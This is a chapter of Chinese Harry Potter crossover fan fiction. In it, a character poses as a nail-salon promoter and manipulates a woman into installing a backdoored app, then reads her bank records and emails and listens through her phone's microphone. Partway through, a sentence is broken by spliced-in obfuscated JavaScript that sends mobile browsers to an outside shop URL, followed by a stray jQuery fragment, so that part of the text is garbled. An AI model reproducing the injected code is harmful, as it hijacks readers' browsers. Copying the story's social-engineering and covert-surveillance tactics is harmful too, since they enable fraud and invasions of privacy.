罗恩低头扯了扯身上那件不合身的T恤，领口有点勒，粉红的颜色也让他有些不自在。他皱着眉，声音里带着毫不掩饰的怀疑："这样真的能行吗？"
"没问题，相信我。"秦可可拍了拍他的肩膀，笑得笃定，"你先活动活动，放松点。你现在这副样子，一点都不像发传单的，倒像是找人打架的。"
罗恩扯了扯嘴角，没接话，但肩膀稍微松了一点。
前方路口，哈利的身影靠在一根路灯杆上，看起来像是在等车，实际上目光一直在扫视着街面。他抬起手，假装在看手机，实际拨通了秦可可的电话。
秦可可的手机在兜里震动了一下。她看了一眼屏幕，对罗恩点了点头，然后从旁边的折叠桌上拿起传单，把压在最下面的一张拿到了最上面，拿起一叠，之后深吸一口气，脸上瞬间切换成了另一种表情——嘴角上扬、眼角弯起、八颗牙齿精准地露了出来，标准的服务业职业笑容。
一个中年女人走了过来，她穿着面料很好，但款式很旧的套装，脸上画着有点艳俗的浓妆。她虽然是挎着包，但每当身边有人经过时，她都会下意识地把手里的皮包挪到远离行人的地方。她的步履匆匆，眼神直视前方，显然没有要接传单的意思。
秦可可侧身一步，精准地挡在了女人面前，笑容不减："您好！我们美甲店周年庆，现在有特别优惠活动，您要不要了解一下？"
女人脚步没停，甚至没正眼看她："哦，不必了。"
换做一般人，到这一步就该放弃了。但秦可可没有。她的目光在女人身上快速扫了一遍，从鞋跟的高度到裙子的剪裁，最后落在了那只手上——光秃秃的指甲，没有做任何修饰，与那个款式时髦、LOGO很大的包有些不太协调。
"女士，"秦可可的声音放软了一些，带着一种恰到好处的、仿佛刚发现什么宝藏的惊喜感，"您这款包，是今年的新款吧，真的特别配您的气质。一看您就是那种优雅、讲究的女士。但是吧，我有一点小小的建议。”
秦可可托起女人的手，用蛊惑的语气，娓娓道来：“您想象一下，如果您做一个樱桃红的指甲，再配上您这套打扮，那整体感觉就更完美了。"
女人的脚步顿住了。
她低头看了看自己的手，又看了看自己的包，表情微妙地松动了一丝。那只手确实有点……空。
秦可可趁热打铁，语气里带上了一种分享美好生活方式的真诚："我们店的环境特别好，所有用具都是一客一消毒，服务期间还免费提供茶点和现磨咖啡。您想想，坐在舒服的沙发上，有专人给您打理指甲，旁边放着一杯热饮，耳边是轻音乐，这才是一个像您这样的女士该有的午后，不是吗？"
女人的眼神从游离变成了专注。她还在努力维持着矜持，但脚尖已经朝向了秦可可这边。
"那你们这边怎么收费？"她问，声音比刚才温和了至少两个度。
"我们日常的基础护理是单色一百美元，包含前置处理和基础修整。如果要延长、手绘或者贴钻，那是另计的。"秦可可一边说一边观察着女人的表情，注意到她听到"一百美元"时眼睫毛快速眨了两下——不是被价格吓到，而是在心里换算性价比。"不过！"秦可可立刻接上，语气里带着一种"我刚好有个好消息要告诉你"的兴奋，"今天我们周年庆，充值五百美元可以直接抵一千美元的消费额度，相当于打了对折，特别划算。"
女人的眼睛亮了一下。
"而且，"秦可可补了一刀，"这个额度您可以带闺蜜一起来用。我就想啊，如果能和最好的朋友一起做个美甲、喝个下午茶，聊聊八卦，那感情肯定升温特别快。"
这句话击中了什么。女人的表情彻底软化了，那种"我本来只是路过"的防线彻底瓦解。她甚至调整了一下站姿，让自己面对秦可可的角度更正面了一些。
"你们店在哪儿？我是去店里缴费吗？"
"就在前面不远，拐个弯就到。"秦可可笑容更灿烂了，她举起一张印着二维码的传单，像举着一张入场券，"不过您得先扫这个码，下载我们的APP，领取一下周年庆的电子会员资格，这样到店之后直接核销就行，不用再排队填表了。"
女人没有犹豫，掏出手机，镜头对准了二维码。滴。屏幕跳转，下载完成。屏幕上弹出一个风险提醒。
“哎呀，现在安个软件真是麻烦，得点好多下，这个提示不用管，点这里就行。”
秦可可快速伸手点掉手机弹出的提示。女人也没多在意，她快速填了几项基本信息——姓名、手机号、电子邮箱。整个过程不到三十秒。
"好了。"女人收起手机，看向秦可可，甚至带上了一点期待。
"请跟我来。"秦可可侧身做了个"请"的手势，领着女人朝街角那家美甲店走去。她的步伐轻快，背影看起来就像一个刚刚完成了一笔漂亮业绩的销售员。
十分钟后，秦可可回来了。她走到罗恩身边，什么都没说，只是对着他比了一个"OK"的手势，嘴角挂着那种"搞定"的得意。
罗恩看着她，表情从怀疑变成了某种介于敬佩和惊恐之间的复杂神色。他忽然觉得，让秦可可去监听手机可能真的是大材小用了——这姑娘根本不需要什么木马，她靠一张嘴就能让人主动把手机递到她手里。
事情还得从赫敏提出"监听古德曼夫人"的那个要求说起。
知耻而后勇的珀西这次效率惊人。不到二十四小时，一份关于古德曼夫人的详细档案就出现在了赫敏的手机屏幕上。秦可可划拉着屏幕看完，只说了两个字："不够。"她需要知道的不是简历，而是这个人每天怎么走路、在哪里停步、目光会在什么橱窗前多停留一秒。于是她提出要哈利陪她去实地跟几天——离目标越近，越能了解“客户需求”。
古德曼夫人的人生轨迹，在纸面上看起来平淡无奇。麻瓜出身的女巫，伊法魔尼毕业后求职不顺，转而去麻瓜社区大学读了会计专业。毕业后在贸易公司做过文员，干过销售，当过书记员，如今在一家连锁轮胎店做会计。一个典型的、在麻瓜世界里挣扎求生的巫师，既没有显赫的家族，也没有耀眼的天赋。
但秦可可跟了三天，看出了不一样的门道。
古德曼夫人很有意思。哪怕每天上班要走进一间充满橡胶味和机油味的轮胎仓库，她依然雷打不动地穿着熨烫平整的职业套装，裙摆及膝，丝袜没有一丝勾丝，头发梳得一丝不苟，连发髻的弧度都像是用量角器比着挽出来的。她每天都拎着那只名牌包——就是那只让古德曼手下的女傲罗注意到并私下议论的包。诡异的是，那只包和她的很多套衣服都不搭，但她毫不在意，仿佛那只包本身就是一枚勋章，必须时刻佩戴。
秦可可太熟悉这种人了。她大学时有个教公共课的老师，就是这副德行。那位老师总爱在课堂上提起"我老公刚从国外给我带的包""我儿子在名校读书"，可一学期下来，翻来覆去就那三五个包、七八套衣服。后来才知道，老师是从山沟里考学出来的，年少时穷怕了，进了城，见了繁华，骨子里却还刻着贫穷的印记。她既渴望用名牌包装自己，证明"我属于这里"，又舍不得真金白银地消费，于是陷入一种极度拧巴的状态——爱慕虚荣，却又极致节俭。
古德曼夫人，就是这位老师的翻版。
秦可可看着她每天上班故意绕远，多走两个街区，只为从那几家顶级奢侈品店的橱窗前经过。她会在那些陈列着天价皮包和珠宝的玻璃前驻足，眼神里有一种近乎贪婪的眷恋，但脚步从不迈进店里。那几条街上开着几家生意极好的精品咖啡店，露天座位上坐满了悠闲的白领，她却一次都没进去过。
摸清了这个节奏，秦可可开始布局。她在古德曼夫人的必经之路上发现了一家美甲店——店面装修精致，暖黄色的灯光，大理石纹路的桌面，看起来很高档，但生意冷清得可怜。秦可可推门进去，自称是一名想要申请大学的高中生，需要积累社会实践经验。她提出可以免费为店家开发一款APP，实现会员管理、在线选款、预约服务等功能，唯一的条件就是店家得在她的社会实践推荐信上签个字。店主几乎没犹豫就答应了。
接下来两天，秦可可拉着罗恩在店门口发传单。她刻意不在第一天就跟古德曼夫人搭讪，只是每天在那个时间点，把甲油胶的色板举得高一点，和路过的行人攀谈时音量提高一些，确保那些关于"精致美甲""下午茶""贵妇生活"的词句能飘进某只耳朵里。
直到今天。
当古德曼夫人再次路过时，秦可可脸上挂着那副精心练习过的、毫无破绽的职业笑容迎了上去。她的话术精准、温柔、步步为营，直到女人拿出手机，扫了那个特制的二维码。
那个二维码指向的并不是店里的会员系统，而是一个伪装成APP安装包的监听程序。普通顾客扫的是链接到正常应用的码，而古德曼夫人扫的则是秦可可为她单独准备的带后门的特殊版本。为了节省时间，秦可可求助自己一个师兄，把他曾经完成的一个类似框架的APP直接拿来借用，然后又花了两个晚上写好后门，当然，这些赫敏他们是不知道的。
女人揣着新装好的APP走进了美甲店，浑然不觉自己口袋里的手机已经向秦可可敞开了大门。秦可可看着她的背影，嘴角那抹职业笑容慢慢收敛，变成了一个技术人员完成任务后的平静。她转过身，利落地与罗恩收拾了摊位，走人。
回到帐篷的秦可可打开电脑，开始启动古德曼夫人手机里的特洛伊木马。哈利坐在她面前，一脸兴味地看着秦可可。秦可可被他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882572|211835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得浑身不自在，抬头皱眉，语气不善地表达着不满。
“你那是什么眼神？看得人浑身不自在。”
哈利笑了起来，道：“刚才看你推销的那么老练，我还以为你突然变得非常善于社交了呢！”
秦可可没忍住，翻了个白眼。哈利笑的更大声。
“说真的，我还挺好奇，你是怎么做到的，让古德曼夫人自己安装了你的那个软件。”哈利好奇地问道。
秦可可摇摇头，“你这要求就跟要求魔术师揭秘如何变魔术一样（What you’re asking for is like demanding a wizard reveal how he performs his magic.作者解释一句，通常情况下，魔术师应该用magician，此处为秦可可用词不当）。”
哈利摊开手，把魔杖放在秦可可面前，道：“我很乐意为你解释一个巫师……”他刻意的在巫师这个词上加重了语气，“如何施展魔法（I’d be happy to explain how a wizard performs magic.）。”
“你的笑话好冷啊。”秦可可捂脸。
哈利耸耸肩，“我说错了吗？”
秦可可叹了口气，道：“原理其实很简单。第一，我见过她这样的人，第二，我总是当面无法拒绝别人的推销，付完了钱又后悔，在心里拼命复盘当时自己为什么不那样拒绝她。最后，也是最重要的是，我所在的单位，每半年一次，保密与反诈骗培训，这门课，会有专业的警察来给我们讲课，讲诈骗、窃取机密等等的行为，以及其中涉及的心理学、社会学原理。这个培训还要求闭卷考试，考的不好，会被领导当众点名批评，甚至严重了有可能要求你脱密，那可就要丢饭碗了。”
得知秦可可不是天生的善于玩弄人心，哈利觉得自己莫名的心安了不少。他感到一丝的尴尬，找了个“我去买点吃的”的借口躲到帐篷外面去了。全程在一旁安静围观了整个对话的赫敏，对于哈利那点小心思，看得十分清楚。她也忍不住对着哈利的背影翻了个小小的白眼。
秦可可的指尖在触控板上滑动，古德曼夫人的数字世界在屏幕上缓缓展开。赫敏坐在她身侧，身体微微前倾，目光随着那些跳动的图标和数据游走，房间里只剩下键盘轻微的敲击声和两人压抑的呼吸。
这部手机是一年多前换的，当时的最新款，即便秦可可在后台忙的飞起，手机也不会因此变得卡顿。信号栏常年满格，说明古德曼一家住在麻瓜信号覆盖良好的混居区，这倒是省去了秦可可很多麻烦。她点开银行APP的缓存记录，一笔一年前的现金存款格外刺眼。数额不小，到账后第一件事就是清偿了积压多年的学生贷款。自那以后，账户流水干净得像张白纸，再无半分异常的大额支出。
“看来古德曼夫人年轻时是真的穷，不仅巫师学校是贷款读的，麻瓜的大学也是贷款读的。”秦可可感慨了一句，然后继续手里的工作。
邮件客户端里也没什么油水。除了工作往来，私人信件寥寥无几。唯一值得注意的，是发给一位标注为"妈妈"的联系人。那封邮件里，古德曼夫人写道："妈，你一定要去医院看看，你的糖尿病不能再拖了。钱的事你不用操心，我来想办法。" 通话记录更是乏味，来来回回都是几个固定的号码，时长规律，估计都是家长里短。
赫敏靠回椅背，长长地叹了口气，眉宇间笼罩着失望："看来，从她这儿找不到资金来源。这几天的辛苦，恐怕是白费了。"
秦可可却没说话。她只是竖起一根手指，在赫敏眼前晃了晃，嘴角勾起一个狡黠的弧度。"部长大人，此言差矣。"她敲了敲键盘，动作轻快得像是在弹奏一首小品，"你刚才看到的，都只是开胃菜。"
她的手指在回车键上重重落下。
下一秒，笔记本电脑的扬声器里传出了声音。
是女人的声音。背景里有隐约的孩子说笑声、梆梆的切菜声。那个声音……正是古德曼夫人。她似乎正在厨房里做饭，顺便教育孩子不要乱花钱："……给你买的鞋子已经很好了，你不需要再买一双名牌鞋……"
赫敏猛地瞪大了眼睛，像是听到了什么不可思议的魔法。她看看扬声器，又看看秦可可，嘴唇微张。
"只要她的手机还有电，没被扔进铅匣子里，"秦可可转过头，脸上是一个得意洋洋的笑容，眼睛在屏幕冷光的映照下亮得惊人，"我就能让你实时听到她周围发生的一切。这叫——被动式声纹采集。"
扬声器里，古德曼夫人的声音还在继续，混杂着孩子、家务与厨房里的烟火气。而帐篷内，死一般的寂静被打破，取而代之的是一种令人心跳加速的、掌控全局的快感。